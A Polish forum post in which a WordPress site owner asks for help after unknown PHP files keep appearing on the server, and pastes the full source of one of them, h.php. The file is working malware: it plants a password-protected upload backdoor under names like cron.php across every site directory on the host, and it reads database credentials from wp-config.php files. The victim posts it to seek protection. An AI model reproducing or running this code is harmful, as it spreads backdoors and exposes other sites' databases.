Dodatkowe pliki na serwerze – włamanie / wirus ?
-
Od kilku tygodni pojawiają mi się katalogi z mnóstwem plików html w środku. dodatkowo pojawiają się pliki php w głównym katalogu strony, takie jak berg.php cron.php, we wszystkich jest podobny kod.
Zmieniłem już hasło do FTP, zaktualizowaełm WordPressa i wtyczki, a pliki nadal się pojawiają (w różnych odstępach czasu). Ostatnio zaopserwowałem również dodatkowy plik h.php który miał inną składnię niż pozostałe. Poniżej przedstawiam treść pliku h.php i proszę o propozycje zabezpieczania strony lub usunięcia luki
——————
treść pliku h.php
——————<!doctype html> <html> <head> <meta charset="utf-8"> <title>接口生成挖掘脚本</title> </head> <body> <?php //版本 jamin mysql 1.1.3 //---------------------------// $jkname =array('int.php','inter.php','deal.php','beng.php','xr.php','cron.php'); //二级的请注意修改 如 $dir = dirname(dirname(__FILE__)); $dirhh = 1; //站点/home/##/baidu.com/ 根目录 //$dir = dirname(dirname(dirname(__FILE__))); $dirhh = 0; //站点/home/##/baidu.com/xxxx/ 根目录 $edirarr = array('www','http','https','public_html','html','httpdocs','web'); //,可添加可能出现的二级/xxxx/级目录 $dirb = "wp-includes"; //排除根目录写不进去 二级目录名可写 根据站点类型修改 //---------------------------// //接口源码 $tmp = '<?php header("Content-Type: text/html; charset=utf-8"); $action=$_REQUEST[\'action\']; $password=$_REQUEST[\'password\']; $pathname=$_REQUEST[\'pathname\']; $keywordindex=$_REQUEST[\'keywordindex\']; $filename=$_REQUEST[\'filename\']; $body=stripslashes($_REQUEST[\'body\']); if($action=="test") { echo \'test success\'; return; } if($action!="publish") { echo \'action error\'; return; } if($action==""||$password==""||$filename==""||$body=="") { echo \'parameters error\'; return; } if($password!="5fobohlovr6v") { echo \'password error\'; return; } $wjj=dirname(__FILE__); if(!file_exists($wjj)) { mkdir($wjj,0777); } createFolder($pathname); $fp=fopen($pathname.\'/\'.$filename,"w"); //fwrite($fp,"\xEF\xBB\xBF".iconv(\'gbk\',\'utf-8//IGNORE\',$body)); fwrite($fp,"\xEF\xBB\xBF".$body); fclose($fp); echo "publish success"; function createFolder($path) { if (!file_exists($path)) { createFolder(dirname($path)); mkdir($path, 0777); } } function mkdirs($dir) { if(!is_dir($dir)) { if(!mkdirs(dirname($dir))) { return false; } if(!mkdir($dir,0777)) { return false; } } return true; } function rmdirs($dir) { $d = dir($dir); while (false !== ($child = $d->read())) { if($child != \'.\' && $child != \'..\') { if(is_dir($dir.\'/\'.$child)) rmdirs($dir.\'/\'.$child); else unlink($dir.\'/\'.$child); } } $d->close(); rmdir($dir); } ?>'; function pz($dir){ $myfile = @fopen($dir, "r"); $file = fread($myfile,filesize($dir)); $file = preg_replace('/</','',$file); $file = preg_replace('/>/','',$file); preg_match_all('#(\'DB_HOST\', \'(.*?)\')#U',$file,$zjarr); preg_match_all('#(\'DB_NAME\', \'(.*?)\')#U',$file,$kmarr); preg_match_all('#(\'DB_USER\', \'(.*?)\')#U',$file,$zharr); preg_match_all('#(\'DB_PASSWORD\', \'(.*?)\')#U',$file,$mmarr); preg_match_all('#table_prefix\s+=\s+\'(.*?)\'#U',$file,$qzarr); $con = @mysql_connect($zjarr[2][0],$zharr[2][0],$mmarr[2][0]); if (!$con){ return '0'; }else{ $db_selected = @mysql_select_db($kmarr[2][0], $con); if (!$db_selected) { return '0'; }else{ $sql = 'SELECT * FROM '.$qzarr[1][0].'options WHERE option_id=1'; $result=mysql_query($sql, $con); while($row=mysql_fetch_array($result)){ return $row['option_value']; } } } mysql_close($con); } //生成接口 function ldirb($ldir,$tmp){ $wdir = @fopen($ldir,'w'); if($wdir){ fwrite($wdir,$tmp); return true; }else{ return false; } } $dh = opendir($dir); //主循环程序开始 while ($f = readdir($dh)){ if($f =='.' || $f =='..'){ continue; }else{ if(is_dir($dir.'/'.$f)){ //121 if($dirhh){ for($i=0;$i<count($jkname);$i++){ ldirb($dir.'/'.$f.'/'.$jkname[$i],$tmp); } if(preg_match("/[a-z0-9][_\-]*?\.(\w\w$|\w\w\w$|\w\w\w\w$)/i",$f)){ if(file_exists($dir.'/'.$f.'/'.$jkname[0])){ echo $f.'<br>'; }else{ if(is_dir($dir.'/'.$f.'/'.$dirb)){ for($i=0;$i<count($jkname);$i++){ ldirb($dir.'/'.$f.'/'.$dirb.'/'.$jkname[$i],$tmp); } if(file_exists($dir.'/'.$f.'/'.$dirb.'/'.$jkname[0])){ echo $f.'/'.$dirb.'/'.$jkname[0].'<br>'; } } } }else{ if(file_exists($dir.'/'.$f.'/wp-config.php')){ if( pz($dir.'/'.$f.'/wp-config.php') !== '0'){ echo pz($dir.'/'.$f.'/wp-config.php').'<br>'; }} } }else{ for($i=0;$i<count($edirarr);$i++){ if(is_dir($dir.'/'.$f.'/'.$edirarr[$i])){ for($t=0;$t<count($jkname);$t++){ ldirb($dir.'/'.$f.'/'.$edirarr[$i].'/'.$jkname[$t],$tmp); } if(preg_match("/[a-z0-9][_\-]*?\.(\w\w$|\w\w\w$|\w\w\w\w$)/i",$f)){ if(file_exists($dir.'/'.$f.'/'.$edirarr[$i].'/'.$jkname[0])){ echo $f.'<br>'; }else{ if(is_dir($dir.'/'.$f.'/'.$edirarr[$i].'/'.$dirb)){ for($h=0;$h<count($jkname);$h++){ ldirb($dir.'/'.$f.'/'.$edirarr[$i].'/'.$dirb.'/'.$jkname[$i],$tmp); } if(file_exists($dir.'/'.$f.'/'.$dirb.'/'.$jkname[0])){ echo $f.'/'.$dirb.'/'.$jkname[0].'<br>'; } } } }else{ $dircon = $dir.'/'.$f.'/'.$edirarr[$i].'/wp-config.php'; if(file_exists($dircon)){ if( pz($dircon) !== '0'){ echo pz($dircon).'<br>'; } } } } } } } } } ?> </body> </html>
- Temat ‘Dodatkowe pliki na serwerze – włamanie / wirus ?’ jest zamknięty na nowe odpowiedzi.